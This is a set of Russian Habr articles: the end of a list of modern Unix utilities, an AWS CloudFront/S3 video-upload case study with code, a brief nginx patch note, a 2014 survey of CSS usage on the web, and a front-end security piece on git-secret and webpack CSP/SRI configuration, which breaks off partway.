[Ripgrep](https://github.com/BurntSushi/ripgrep) — это чрезвычайно быстрая альтернатива `grep`, которая учитывает настройки, выполненные в файле `.gitignore`.
Ag
--
[Ag](https://github.com/ggreer/the_silver_searcher) — это поисковый инструмент, похожий на `ack`, но работающий быстрее.
Fzf
---
[Fzf](https://github.com/junegunn/fzf) — это универсальный инструмент командной строки для выполнения нечёткого поиска.
Mcfly
-----
[Mcfly](https://github.com/cantino/mcfly) — это утилита, которая облегчает работу с историей команд.
Choose
------
[Choose](https://github.com/theryangeary/choose) — это быстрая альтернатива `cut` и (в некоторых случаях) `awg`, с которой удобно работать.
Jq
--
[Jq](https://github.com/stedolan/jq) — это `sed` для JSON-данных.
Sd
--
[Sd](https://github.com/chmln/sd) — это интуитивно понятный инструмент командной строки для поиска и замены строк (альтернатива `sed`).
Cheat
-----
[Cheat](https://github.com/cheat/cheat) — это инструмент командной строки для создания и просмотра интерактивных шпаргалок.
Tldr
----
[raw.githubusercontent.com/tldr-pages/tldr/master/images/tldr.svg](https://raw.githubusercontent.com/tldr-pages/tldr/master/images/tldr.svg)
[Tldr](https://github.com/tldr-pages/tldr) — это результат усилий сообщества по упрощению man-страниц и по обогащению справки практическими примерами.
Bottom
------
[github.com/ClementTsang/bottom/raw/master/assets/demo.gif](https://github.com/ClementTsang/bottom/raw/master/assets/demo.gif)
[Bottom](https://github.com/ClementTsang/bottom) — это очередной кросс-платформенный графический монитор ресурсов и процессов.
Glances
-------
[Glances](https://github.com/nicolargo/glances) — это средство для наблюдения за системой. Оно представляет собой альтернативу `top`/`htop` для ОС GNU/Linux, BSD, Mac OS и Windows.
Gtop
----
[raw.githubusercontent.com/aksakalli/gtop/master/img/demo.gif](https://raw.githubusercontent.com/aksakalli/gtop/master/img/demo.gif)
[Gtop](https://github.com/aksakalli/gtop) — это утилита, реализующая панель мониторинга системы средствами терминала.
Hyperfine
---------
[camo.githubusercontent.com/88a0cb35f42e02e28b0433d4b5e0029e52e723d8feb8df753e1ed06a5161db56/68747470733a2f2f692e696d6775722e636f6d2f7a31394f5978452e676966](https://camo.githubusercontent.com/88a0cb35f42e02e28b0433d4b5e0029e52e723d8feb8df753e1ed06a5161db56/68747470733a2f2f692e696d6775722e636f6d2f7a31394f5978452e676966)
[Hyperfine](https://github.com/sharkdp/hyperfine) — это инструмент для анализа производительности систем, работающий в командной строке.
Gping
-----
[raw.githubusercontent.com/orf/gping/master/images/readme-example.gif](https://raw.githubusercontent.com/orf/gping/master/images/readme-example.gif)
[Gping](https://github.com/orf/gping) — это то же, что и `ping`, но с поддержкой вывода графиков.
Procs
-----
[Procs](https://github.com/dalance/procs) — это современная замена `ps`, написанная на Rust.
Httpie
------
[raw.githubusercontent.com/httpie/httpie/master/httpie.gif](https://raw.githubusercontent.com/httpie/httpie/master/httpie.gif)
[Httpie](https://github.com/httpie/httpie) — это современный и удобный инструмент командной строки, реализующий HTTP-клиент и рассчитанный на эру API.
Curlie
------
[Curlie](https://github.com/rs/curlie) — это сочетание мощи `curl` и простоты использования `httpie`.
Xh
--
[raw.githubusercontent.com/ducaale/xh/master/assets/xh-demo.gif](https://raw.githubusercontent.com/ducaale/xh/master/assets/xh-demo.gif)
[Xh](https://github.com/ducaale/xh) — это быстрый и удобный инструмент для отправки HTTP-запросов. Его создатели воспроизвели, насколько это возможно, замечательную архитектуру `httpie`, но при этом уделили особое внимание производительности.
Zoxide
------
[raw.githubusercontent.com/ajeetdsouza/zoxide/main/contrib/tutorial.webp](https://raw.githubusercontent.com/ajeetdsouza/zoxide/main/contrib/tutorial.webp)
[Zoxide](https://github.com/ajeetdsouza/zoxide) — это результат развития команды `cd`, более интеллектуальный, чем эта команда, создатели которого вдохновлялись `z`.
Dog
---
[Dog](https://github.com/ogham/dog) — это дружелюбный DNS-клиент, нечто вроде усовершенствованного `dig`.
Какие современные Unix-утилиты вы добавили бы в этот список?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=%0Asovremennye_unix-komandy) | https://habr.com/ru/post/567150/ | null | ru | null |
# Облака на службе СМИ, или Как Amazon помогает обрабатывать большие объемы видеоконтента
Нашему заказчику, одному из крупнейших мировых издательств, потребовалось увеличить производительность приложения для публикации видео новостей в связи с возросшим объемом трафика. Пользователи приложения — редакторы media-ресурсов. В день через него проходит порядка 200 новостных роликов, средний размер каждого из них ~ 500 мб, итого около 100 Гб свежих новостей в сутки.
Сегодня мы поделимся опытом, как CloudFront и S3 помогли нам построить высоконагруженную и устойчивую систему обработки контента.
Надеемся, наш опыт заинтересует разработчиков/проектировщиков систем по хранению и обработке медиаконтента (видео, аудио, изображения) и технических специалистов, активно использующим сервисы AWS.
#### Определимся с инструментами и терминологией
Amazon Web Services предлагает набор сервисов для хранения и доставки контента, а их использование становится неотъемлемой частью современных IT платформ.
#### Предыстория — что мы выяснили?
Для создания видео новости редакторы, используя web интерфейс, загружают исходный видеофайл и заполняют форму с метаданными (описание, ключевые слова, тэги, категории и т. п.). После этого загруженная информация отправляется на обработку (конвертация видео в разные форматы, генерация субтитров и т. д.) в том числе при помощи сторонних сервисов.
##### Проанализировав архитектуру системы, мы выявили следующие узкие места:
**#1 Проблема загрузки большого объема данных из разных точек земного шара**
Систему используют редакторы из разных точек земного шара, а оригинальный видеоконтент имеет, как правило, весьма большой объем (сотни Mb для 10 минутного ролика). Процесс передачи данных, а стало быть и время их обработки и публикации, зависит от удаленности редактора от сервера приложений.
**#2 Проблема нагрузки сервера**
Загружаемое редакторами видео первым шагом попадает на сервер, где развернуто приложение. Далее нам требуется перекодировать это видео в различные форматы, добавить для него субтитры. Для этого мы используем сторонние сервисы обработки видео. Работа с каждым сервисом проходит по следующей схеме:
Соответственно, для прохода полного цикла обработки видео (а следовательно и создания видео новости) требуется осуществить несколько итераций передачи видео. Суммарно это выливается в гигабайты трафика и снижает возможность сервера оперативно обрабатывать несколько подобных запросов в силу ограничений по объему передачи данных в единицу времени.
#### Что мы сделали?
В первую очередь, мы перешли к поиску решения проблемы нагрузки сервера. Для уменьшения объема передаваемой информации решили перенести хранение и раздачу контента на плечи сторонних файловых хранилищ или сервисов.
Мы рассматривали сервисы, которые удовлетворяли бы следующим основным критериям:
возможность стороним системам забирать контент на обработку;
возможность ограничивать доступ до контента как по времени, так и по ссылкам;
Первым основным кандидатом для нас стал AWS S3, который позволяет использовать подписанные урлы (детали -> [docs.aws.amazon.com/AmazonS3/latest/API/sigv4-post-example.html](http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-post-example.html)).
С использованием S3 процесс обработки контента сторонними сервисами меняется. Приложение теперь отправляет только ссылку на контент, сторонняя система забирает его самостоятельно из S3 по подписанной ссылке.
Но в нашем случае такой вариант не подходил, так как не решалась задача ускорения загрузки данных в хранилище.
Следующей альтернативой стал CDN CloudFront. В отличие от других популярных CDN, он позволяет, используя http-методы POST, PUT, DELETE, управлять контентом на S3, т.е. фактически CDN становится полноценной оберткой для своего источника-хранилища. CloudFront шлёт данные по оптимизированным маршрутам, использует постоянные соединения TCP / IP и ускоряет доставку контента ( [aws.amazon.com/ru/about-aws/whats-new/2013/10/15/amazon-cloudfront-now-supports-put-post-and-other-http-methods](http://aws.amazon.com/ru/about-aws/whats-new/2013/10/15/amazon-cloudfront-now-supports-put-post-and-other-http-methods)).
Как видим, схема работы с сервисами обработки контента остается практически такой же, что и в случае с S3.
Но для пользователей системы все стало значительно лучше: контент загружается на ближайший CloudFront сервер быстрее, чем напрямую в хранилище S3.
Таким образом, мы убиваем сразу двух зайцев: быстрая загрузка данных и их сохранение напрямую в AWS S3, минуя сервер приложения и файловую систему.
В результате реструктуризации получаем следующую систему:
* приложение видео-менеджер работает непосредственно только с метаданными;
* исходные видеофайлы сохраняются напрямую с пользовательского интерфейса на S3 через CloudFront;
* сторонние сервисы, которым нужен видеоконтент, получают его по [подписанным ссылкам](http://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/private-content-signed-urls.html)
через CloudFront.
#### Технические детали
Несколько ключевых моментов по конфигурации S3 и CloudFront
##### Конфигурация S3
Настройка CORS
```
xml version="1.0" encoding="UTF-8"?
\*
GET
POST
PUT
\*
```
Настройка CloudFront
Настраиваем два distribution CloudFront'a на наш целевой S3-бакет. Первый нужен только для загрузки контента.
Ключевые конфигурации:
```
Origin Settings
Restrict Bucket Access - Yes;
Allowed Http Methods - GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE;
Default Cache Behavior Settings
Restrict Viewer Access (Use Signed URLs) - Yes;
Trusted Signer - Self
```
Второй настраиваем для отдачи:
```
Origin Settings
Restrict Bucket Access - Yes;
Allowed Http Methods - GET, HEAD;
Default Cache Behavior Settings
Restrict Viewer Access (Use Signed URLs) - Yes;
Trusted Signer - Self
```
#### Интеграция с приложением
##### Работа на стороне пользователя
Для того чтобы новая схема взаимодействия заработала, пришлось решить несколько интеграционных задач.
Популярные загрузчики контента используют multipart/form-data, который не получится использовать с CloudFront, т.к. он не разбирает тело запроса, а сохраняет его как есть. Пришлось немного модифицировать плагин angular-file-upload (на проекте используется в основном AngularJS): для загрузки файла методом PUT использовали xhr.send(Blob) (детали тут -> [dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html#the-send%28%29-method](https://dvcs.w3.org/hg/xhr/raw-file/tip/Overview.html#the-send%28%29-method)).
Как выяснилось, загруженные таким образом файлы по умолчанию доступны AWS системе только для псевдо-пользователя cloudfront-identity и не доступны по подписанным урлам. Мы начали искать способ настроить права доступа для загружаемых файлов на AWS. Пришлось штудировать документацию и экспериментировать, т.к. в сети подобной информации крайне мало. В итоге установили, что права при загрузке файлов через CloudFront настраиваются http-заголовками S3 [docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html](http://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html).
##### Пример кода
Мы использовали angular-file-upload для загрузки файлов
Определяем FileUploader:
```
$scope.videoUploader = new FileUploader({
autoUpload: true,
method: "PUT",
useDirectUpload: true, // а это наша кастомизация для FileUploader - используем html5 XmlHttpRequest загрузка без FormData
headers: {
'x-amz-acl': 'authenticated-read' // тот самый magic header (http://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html)
}
});
```
Определяем handler для генерации конечной ссылки загрузки на cloudfront:
```
$scope.videoUploader.onBeforeUploadItem = function(item) {
$.ajax({
url: "base-url.com/file/generateUploadUrl", // генерируем подписанный урл для загрузки на CloudFront
type: 'GET',
data: {fileName: item.file.name, fileSize:item.file.size},
async: false,
success: function(data) {
item.url = data.uploadUrl; // выставляем аплоадеру полученный урл
}
});
};
```
Определяем handler успешного окончания загрузки
```
$scope.videoUploader.onSuccessItem = function (item, response, status, headers) {
if (200 <= status && status < 300) {
… // некие действия, например, шлем серверу подтверждение загрузки файла.
}}
```
На сервере
Чтобы получить подписанную ссылку на скачивание файла, используем стандартный класс из AWS SDK [com.amazonaws.services.cloudfront.CloudFrontUrlSigner](http://docs.aws.amazon.com/AWSJavaSDK/latest/javadoc/com/amazonaws/services/cloudfront/CloudFrontUrlSigner.html) .
Сгенерированные ссылки мы отдаём пользователям для заливки файлов на s3 или сервисам для их скачивания.
Пример кода
```
public class CloudFrontConfig {
/**
* for example http://get.example.cf.com/ or http://put.example.cf.com/
*/
private String cloudFrontDomainNameForGet;
private String cloudFrontDomainNameForPut;
private String cloudFrontPrivateKey;
private String cloudFrontKeyPairId;
public String getDownloadUrlForUser(String s3key) throws Exception {
return getSignedURL(cloudFrontDomainNameForGet, s3key);
}
public String getPutUrlForService(String s3key) throws Exception {
return getSignedURL(cloudFrontDomainNameForPut, s3key);
}
private String getSignedURL(String domain, String s3Key) throws Exception {
PrivateKey privateKey = loadPrivateKey(cloudFrontPrivateKey);
Date dateLessThan = getDateLessThan();
String url = CloudFrontUrlSigner.getSignedURLWithCannedPolicy(domain + s3Key,
cloudFrontKeyPairId, privateKey, dateLessThan);
return url;
}
private Date getDateLessThan() {
LocalDateTime dateNow = LocalDateTime.now();
ZonedDateTime zdt = dateNow.plusDays(1).atZone(ZoneId.systemDefault());
return Date.from(zdt.toInstant());
}
private PrivateKey loadPrivateKey(String cloudFrontPrivateKey) {
// конструируем объект PrivateKey с помощью приватного ключа
}
}
```
#### Что мы получили в результате?
Редакторы издательства остались довольны обновленной системой: по их словам, она стала работать намного быстрее, что позволило ускорить выпуск новостей.
По статистике от AWS мы получили:
* уменьшение входящего трафика на сервер с 3Tb до 1 Gb в месяц;
* уменьшение исходящего трафика с сервера с 12Tb до 1 Gb в месяц;
* размер используемой файловой системы уменьшился с 500Гб до 2Гб.
В итоге:
* Мы оптимизировали загрузку и управление доступом к контенту посредством использования S3 и CloudFront;
* Снизили сетевую и файловую нагрузку на сервере;
* Написали статью :) | https://habr.com/ru/post/264145/ | null | ru | null |
# патч для «простого ответа»
Хочу представить вам [небольшой патч,](http://catap.ru/blog/2008/10/17/nginx-prosto-otvet/) который реализует возможность использовать такие конструкции для настройки:
````
location /response {
response "$pid";
response_type "text/xml";
}
```` | https://habr.com/ru/post/42756/ | null | ru | null |
# Доклад по CSS за 2014 год: Проверка использования CSS в «полевых условиях»
CSS – это инструмент, при помощи которого HTML превращается в полностью сверстанную страницу. CSS – это язык, полный странностей и непредсказуемых поворотов, и поэтому чаще всего создание таблиц стилей представляет собой наименее любимую работу для разработчика. В течение последних нескольких лет наблюдалось значительное повышение в количестве программных оболочек и инструментов, позволяющих облегчить написание CSS и уменьшить вероятность ошибок. SASS и LESS правят бал в сфере предварительной обработки, а такие оболочки, как Bootstrap, Foundation, Bourbon, Susy, и Unsemantic (а также множество других) используются для ускорения получения сверстанной страницы.
Браузеры также изменяются, так что многие современные версии браузеров более не требуют префикса поставщика для правил CSS3. То, что несколько лет назад было передовой методикой, теперь уже не требуется, смотря, конечно, какие браузеры поддерживает ваш веб-сайт. В ходе нашего исследования мы загрузили CSS-файлы более чем с 8 000 доменов, и собрали некоторые данные о написании и использовании CSS. Я думаю, что это может быть полезным для дальнейшего развития дискуссии об организации, осмыслении и управлении крупными CSS-проектами, а также позволит наблюдать за развитием Сети.
**Методология**
Я хотел сделать широкий «срез» интернета, включающий сайты, созданные большими командами разработчиков и с долгим сроком службы, а также новейшие свойства, создаваемые любителями-энтузиастами.
Список изучаемых мной доменов возглавили топ-1000 сайтов по версии [Alexa](http://www.alexa.com/), представляющих собой выборку «популярных» и «крупных» сайтов. Они предоставляют отчет о миллионе сайтов с наибольшим месячным трафиком, так что я просто выбрал первую 1 000 из них.
Для того чтобы заполнить остальную часть списка изучаемых доменов, я выбрал произвольные сайты из списка рассылки Quick Left, представляющего собой смешение прошлых и потенциальных клиентов, сотрудников, поклонников и прочего народу со всего мира. Сначала я хотел сделать произвольную выборку из Топ-1 000 000 сайтов Alexa, однако даже этот список включает только крупнейшие сайты, что приблизительно составляет 271 миллионов зарегистрированных по всему миру доменов, так что наш список рассылки, я надеюсь, представляет собой лучшую выборку, которая может включать MVP, персональные странички и другие «бессвязные» веб-свойства.
Окончательный список составил 10 400 доменов, представляя собой, грубо говоря, репрезентативную выборку интернета. Я загрузил с этих сайтов все CSS-файлы, на которые ссылается главная страница:
```
cat domains.txt | xargs -I % wget http://% -r -A '*.css*' -H --follow-tags=link
```
Этот процесс собрал всего около 28 000 CSS-файлов с тех 10 400 доменов. Потом их прогнали через модуль синтаксического анализа СSS, что позволило мне сохранить более 8,7 миллионов записей селекторов, свойств и значений (к примеру, span.important, font-weight, bold). Они были сохранены в Postgres и подвергнуты глубокой индексации для дальнейшего исследования.
**Сводные данные**
Распределение используемых свойств CSS приблизительно соответствует стандартному распределению Парето. Выяснилось, что необычные свойства используются крайне редко, и изучение первых 50, или около того, свойств должно быть первоочередной задачей любого начинающего разработчика.
Также было крайне любопытно узнать количество опечаток и недействительных правил. Удивительно, но эти правила были набраны, (вероятнее всего) проверены, оказалось, что в браузере они не работают, но их все равно оставили в таблицах стилей и внесли в готовый продукт. Больше всего мне понравились опечатки bototm, foat и heith.
**Селекторы**
**Распределение длины селектора**
Селекторы CSS в большинстве своем кратки, с немногочисленными достойными упоминания исключениями. Краткость селекторов в большинстве случаев считается положительным свойством, так как общее расположение элемента должно состоять из нескольких правил, относящихся к одному элементу. Такие системы, как BEM, приводили этому обоснование. В общем случае длинные и нераспространенные селекторы препятствуют повторному использованию, а многоразовый набор стилей считается стандартной конечной целью использования CSS.
В селекторах часто используются классы, и одноэлементные селекторы вроде body имеют широкое распространение. Я думаю, что причиной этому послужило то, что многие сайты вначале сбрасывают все типы элементов, заложенные в настройках браузера по умолчанию, и задают тип каждого элемента самостоятельно. Эти типы обычно выбираются из CSS сайта и имеющихся базовых стилей, в результате чего выбирается не менее двух экземпляров данного правила.
**Постоянное улучшение**
Использование префиксов
Префиксы поставщика ПО для современных, самостоятельно обновляющихся браузеров более не требуются. Хорошая новость – для всех свойств CSS3 исходная форма используется намного чаще, чем любой из префиксов. Префиксы -webkit и -moz преобладают над -o и -ms со значительным отрывом.
Многие IDE, оболочки CSS и веб-сайты генерируют наборы правил с уже включенными префиксами. Разработчики могут попытаться избавиться от этого лишнего веса (в зависимости от аудитории), а адаптация под браузер – это не тот случай, когда по привычке следует добавлять префиксы. При помощи CanIUse создайте перекрестную ссылку на Google Analytics для вашего сайта, чтобы определить, имеет ли это смысл для вашей аудитории.
Я видел множество случаев поддержки старых версий IE, на что указывали хаки \* и \_. Это инструменты, позволяющие написать код, который могут читать только определенные версии Internet Explorer. Известная в интернете личность, Пол Айриш, пропагандировал альтернативы использованию хаков в браузере в далеком 2008 году, а метод, одобренный Microsoft, заключается в использовании условных комментариев для включения отдельных или вспомогательных таблиц стилей для соответствующих браузеров. Однако в спешке проще пропустить такие подходы, поэтому хаки-звездочки и хаки-подчеркивания все же преобладают.
**Цвета**
НАИБОЛЕЕ РАСПРОСТРАНЕННЫЕ ЦВЕТА
Цветовое пространство, предлагаемое шестнадцатеричными кодами, представляет собой 166 цветов, и наиболее распространенные цвета, скорее всего, будут находиться среди оттенков серого, когда R == G == B. Оттенки серого могут относиться к цвету текста, цвету границ, различным теням диалоговых окон. Фирменные цвета чаще всего уникальны для каждого сайта, и я не ожидал увидеть другие цвета, кроме оттенков серого, в топ-10.
Объяснением того, что в первую десятку попал синий, может служить тот факт, что до середины ноября 2014 года значение #428BCA соответствовало переменной $brand-primary в Bootstrap, которая впоследствии использовалась во всем проекте. Это указывает на популярность данной программной оболочки.
В среднем, файл имеет 169 заявленных цветов. Для каждой страницы загружалось по нескольку файлов, и изобилие цветов демонстрирует отсутствие единообразной политики в области стиля или использования цветовых переменных для сохранения постоянства цветовой темы сайта.
**Единицы измерения**
Существует огромный выбор вариантов, доступных при задании размерных свойств в CSS. У каждой единицы измерения имеются свои преимущества и недостатки: некоторые лучше подстраиваются под отзывчивый дизайн, другие гарантируют масштабирование при печати. Знакомые и широко известные «абсолютные» (px) и «относительные» (%) преобладают по количеству случаев использования. Следует отметить, что поддержка браузера для более экзотических единиц измерения не так широко распространена.
**Текст и шрифты**
Наличие установленного набора шрифтов позволяет сайту создавать впечатление единообразного и понятного. Шрифт вносит свой вклад в иерархию дизайна и в способность пользователя прочесть содержимое. Средний домен имеет 31 заявленный различный размер шрифта во всех таблицах стилей.
**Количество размеров шрифтов**
Количество размеров шрифтов на один домен значительно колеблется. Невозможно вычислить, сколько шрифтов было использовано на главной странице или сколько было припрятано в закромах приложения для особых случаев. Некоторые прекрасно выглядящие сайты используют в общей сложности до 20 шрифтов для своих страниц. Я считаю, что лучше не гнаться за количеством размеров шрифтов. Это создает впечатление сильного, единообразного дизайна, а также облегчает сотрудничество между дизайнерами и разработчиками.
**Отзывчивый дизайн**
Отзывчивый дизайн был впервые представлен в 2010 году Этаном Мэркоттом и вихрем пронесся по сети, оставив около 64% сайтов, очищенных за счет использования своего рода медиа-запросов в CSS. Контент должен подстраиваться под размер экрана, на котором он будет отображаться, и на то, будет ли он отображаться на мобильном или стационарном устройстве.
Медиа-запросы стали доступными начиная с IE9, и они позволяют настроить стили в соответствии с определенными размерами экрана, его ориентацией, соотношением высоты к ширине, позволяя отзывчивому дизайну проявить все свои преимущества.
Наиболее часто встречающиеся медиа-запросы – это max- или min-width, составляющие 89% всех медиа-запросов. Ниже представлены наиболее распространенные значения ширины, на которые разработчики заставляют реагировать свои стили:
Кривая в области точки 990 px шире других, в нее входят также множество других значений: 960, 970, 980, и 990, 992, 1000 и 1024 px. Прочие области на кривой, обозначенные при помощи зеленых линий, намного уже, что показывает меньший разброс значений относительно контрольных точек при такой ширине.
Точки, которые люди выбирают в качестве контрольных, указывают на то, от каких коэффициентов формы они хотят отталкиваться. Наблюдается растущее разграничение устройств на т.н. «телефоны», «планшеты» и «настольные ПК». В частности, текущие контрольные точки Bootstrap, используемые по умолчанию, составляют 768, 992, и 1200. Здесь приведены некоторые значения ширины экранов устройств.
**Фреймворки**
Определить используемую программную среду было непросто. Для получения значений я использовал комбинацию поиска по именам файлов, комментариям (часто оставляемым добропорядочными минимизаторами) и уникальным классам. Это наименее точно составленная таблица в этом докладе, однако она показывает, что Bootstrap с сильным отрывом лидирует в сердцах и умах разработчиков. Лишь около 10% из общего числа исследуемых доменов имели определяемую программную среду.
**Дополнительные ресурсы**
Загрузка дополнительных ресурсов также может быть определена в CSS, обычно это относится к определению фонового рисунка (background-image). Ниже представлены наиболее распространенные форматы файлов, которые мы определили в нашем исследовании. Всего было исследовано около 59800 объектов.
Такие результаты – хороший признак, так как расширение .png в целом рекомендовано для не фотографических картинок в сети. Такие файлы имеют альфа-непрозрачность, хороший коэффициент сжатия и широкую поддержку браузеров. Я уверен, что файлы .jpg более распространены в сети, чем указано здесь, но они чаще используются как атрибуты src в тегах , а не в CSS.
**Разное**
*ГРОМАДНЫЙ Z-INDEX*
Самый высокий z-index составил невообразимое число, **999999999999999999999999999**, или 9,99e26. С установленным по умолчанию значением повторений клавиши для OS X, набор этого числа займет 3 секунды непрерывного удерживания клавиши 9. Если взять такое количество листов бумаги толщиной 0,05 мм, высота получившейся стопки составит расстояние, в 10 триллионов раз превышающее расстояние от Земли до Солнца. Самое плохое, что такой большой объявленный z-index вызовет переполнение, и ни за что не будет работать так, как ожидается. Самое низкое обнаруженное значение более обосновано – **-999999**.
*ИМЕНА ЦВЕТОВ В CSS*
Перечисленные ниже имена цветов в CSS встречались только по одному разу: antiquewhite, azure, olive, bisque, aliceblue, lightsteelblue, blueviolet, firebrick, lightskyblue, lightseagreen, darkorange, seashell, ghostwhite, papayawhip, cornsilk, navajowhite. Мой любимый цвет – papayawhip, восхитительный оранжево-бежевый.
**Выводы**
После анализа данных, я смог сделать следующие общие выводы:
1. Люди не слишком заботятся о своих CSS
2. Хорошо выполненные таблицы стилей могут решить множество распространенных проблем
3. Современные функции CSS широко используются
Лучшее, что может сделать компания (особенно, если написанием CSS занято большое количество работников) – провести аудит CSS (**примечание от переводчика:** краткое описание базовых принципов этой процедуры мы приведем в нашей следующей статье). Это позволит выявить допущенные ранее ошибки и внедрить в производственный процесс инструментарий, позволяющий избежать ошибок в будущем.
Порядок в ваших CSS-таблицах так же важен, как и написание чистого, хорошо проработанного кода. Держу пари, что плохие CSS могут замедлить работу разработчиков больше, чем любой другой технический аспект, пропорционально обесценивая их труд. Команда должна следить за тем, чтобы CSS содержались в чистоте и порядке.
**Полезные решения Paysto для читателей Хабра:** → [Получите оплату банковской картой прямо сейчас. Без сайта, ИП и ООО.](http://linkcharge.ru/email)
→ [Принимайте оплату от компаний через Интернет. Без сайта, ИП и ООО.](http://linkcharge.ru)
→ [Приём платежей от компаний для Вашего сайта. С документооборотом и обменом оригиналами.](http://linkcharge.ru/api)
→ [Автоматизация продаж и обслуживание сделок с юр.лицами. Без посредника в расчетах.](http://linkcharge.ru/automat) | https://habr.com/ru/post/248911/ | null | ru | null |
# Безопасность клиентских приложений: практические советы для Front-end разработчика
Как вы знаете, большая часть атак BlackHat-хакеров направлена на компрометацию серверных данных web-приложений и сервисов. При этом клиентскую часть сегодня атакуют не реже. Согласно сухому определению, любая атака — это комплекс мер со стороны хакера, направленных на сеть и передачу данных, на данные и их подмену, инфраструктуру и технические особенности реализации web-приложения. Поэтому международные компании требуют от инженеров-разработчиков более ответственного и тщательного подхода к безопасности клиентских приложений.
На примере моего проекта я расскажу о том, как сегодня атакуют клиентские приложения и как вам избежать этих угроз.
*Топ 10 угроз за 2013 — 2017 годы.*
Как видите, среди основных угроз первое место занимают инъекции, вызов ошибок, обход аутентификации и незащищенность конфиденциальных данных. По-прежнему актуальна угроза использования компонентов с известными уязвимостями. Также появились новые угрозы: взлом механизма контроля доступа, небезопасная десериализация и сериализация данных, недостаточно подробное логирование и мониторинг.
В 2001 году Марк Керфи и Дэннис Грувз основали [OWASP](https://www.owasp.org/index.php/Main_Page) (Open Web Application Security Project). Это международный OpenSource-проект для обмена опытом по борьбе с уязвимостями в клиентских приложениях, в котором принимает участие огромное количество инженеров по безопасности приложений. Сообщество OWASP наполняет портал множеством статей с информацией об уязвимостях, учебными материалами, инструментарием для тестирования и отражения атак. Описываются реальные атаки, раскрываются их аспекты и рассказывается о том, что надо сделать для предотвращения угроз.
Чтобы понять, какие угрозы опасны для проекта, надо его тщательно протестировать. Для этого в сети есть приложения, фреймворки и онлайн-сервисы, которые автоматически определяют те или иные уязвимости. Для локального тестирования рекомендую использовать приложения и фреймворки, а для тестирования проектов в эксплуатации очень полезно добавить ещё и онлайн-сервисы.
Но даже если инструменты тестирования не рассказали вам в отчетах про существенные уязвимости (что маловероятно), всё-таки уделите внимание хранению конфиденциальных данных в системе контроля версий, сборке приложения, механизму аутентификации, алгоритму хэширования паролей, функции кодирования конфиденциальных данных, а также системам логирования и мониторинга всего web-приложения. В этом деле лучше перестраховаться и не доверять слепо автоматике.
Git
---
Для начала поговорим о конфиденциальных данных в Git. В идеальном случае для хранения конфиденциальных данных выделяется отдельное хранилище секретов. Из него, при сборке для ввода в эксплуатацию, подтягиваются конфиденциальные данные и вшиваются в приложение. Сегодня популярны хранилища секретов Hashicorp Vault, Keywhiz, Docker secrets, Azure Key Vault и ряд других.
Но что делать, если у вас такого хранилища нет? Можно воспользоваться инструментами для кодирования и сокрытия файлов с секретами, которые будут расширять возможности систем контроля версий.
Первое, что приходит в голову — универсальное решение BlackBox. Его можно использовать с любой системой контроля версий, например, Mercurial, Git и т.д. Кроме того, для Git есть два расширения: git-crypt и git-secret. Я рекомендую использовать второе, потому что оно показалось мне наиболее удобным в использовании и более понятным в плане описания в официальной документации. После установки git-secret нужно его инициализировать в Git-репозитории. Не забудьте в файле **.gitattributes** указать используемое расширение. Далее настройте доступность секретов: определите пользователей, которым хотите предоставить доступ к конфиденциальным данным. Потом добавьте файлы с конфиденциальными данными и скройте их через `git-secret-hide`. Получить скрытые файлы можно через `git-secret-reveal.`
`brew install git-secret // Установка
git secret init // Инициализация
git secret tell your@gpg.email // Конфигурирование доступности
git secret add // Добавление файлов
git secret hide // Сокрытие файлов
git secret reveal // Получение скрытых файлов`
Webpack
-------
Ещё один способ устранения угроз — правильно сконфигурировать webpack. Чтобы защититься от XSS, XEE и подобных атак, надо продумать соблюдение политик CORS (Cross-origin resource sharing) и CSP (Content Security Policy). В обоих случаях важно соблюдать заголовки, чтобы проверять достоверность тех или иных скриптов, которые используются в проекте. В браузерах есть механизмы проверки достоверности того или иного источника, к примеру, Safari будет на каждом шагу выдавать предупреждения, если CORS и CSP настроены некорректно.
Есть два пути соблюдения CORS и CSP. Первый — настроить заголовки ответа на запросы в серверной части. Второй — прописать обе политики через мета-теги и атрибуты. Последний способ рекомендуется в том случае, если у вас ленивые back-end разработчики, они вечно заняты и им не до политик безопасности. Мета-теги можно прописывать сразу же при сборке приложения. В этом нам помогут такие плагины, как html-webpack-plugin, html-webpack-exclude-assets-plugin, script-ext-html-webpack-plugin, csp-html-webpack-plugin и crypto. Кроме того, если у вас в проекте есть сторонние ресурсы (например, ссылки на внешние шрифты, применяемые в CSS; ресурсы, подгружаемые из CDN, и так далее), то рекомендую использовать ещё и webpack-subresource-integrity-plugin. Таким образом, вы будете сообщать браузеру, что подгружаемые ресурсы в скрипте достоверны, в них нет никаких внедрений, они целые и неиспорченные. И если даже кто-то внедрил в ресурс зловредные данные, а ты их подгрузил, то надо быть готовым к этому и обезопасить свой проект от подобных угроз.
Хочу обратить **особое внимание** на то, в какой последовательности и каким образом создаются экземпляры классов для плагинов. Очерёдность должна быть именно такой:
```
const SHA256 = (str) => CRYPTO.createHash('sha256').update( str, 'utf8').digest('base64');
const sha256Str = SHA256( '' + Date.now() );
[…]
new HtmlWebpackPlugin({
filename: 'index.html',
template: 'public/index.html'
}),
new ScriptExtHtmlWebpackPlugin({
custom: [{
test: /\.js$/,
attribute: 'nonce',
value: 'nonce-' + sha256Str
}]
}),
new HtmlWebpackExcludeAssetsPlugin(),
new CspHtmlWebpackPlugin({
'base-uri': '\'self\'',
'object-src': '\'none\'',
'script-src': ['\'self\'', '\'unsafe-eval\'', '\'nonce-' + sha256Str + '\''],
'style-src': ['\'unsafe-inline\'', '\'self\'']
}, {
devAllowUnsafe: false,
enabled: true,
hashingMethod: 'sha256'
}),
new SriPlugin({
hashFuncNames: ['sha256', 'sha384'],
enabled: true
}),
[…]
```
Тогда при сборке в теге появится мета-тег `http-equiv=content-security-policy`. В атрибуте `content` будут прописаны директивы, которые говорят о том, каким скриптам и ресурсам можно доверять.
Директива `base-uri` показывает, какой базовый URL используется для загрузки скриптов, CSS, картинок и прочего.
Объекты обычно не загружаются, поэтому в директиве `object-sr`c ставьте `none`.
Директива `script-src` относится к JS-скриптам.
Не забывайте каждый раз прописывать атрибут типа `nоnce-`. Причем хэш нужно вычислять с помощью алгоритма SHA256 или SHA512.
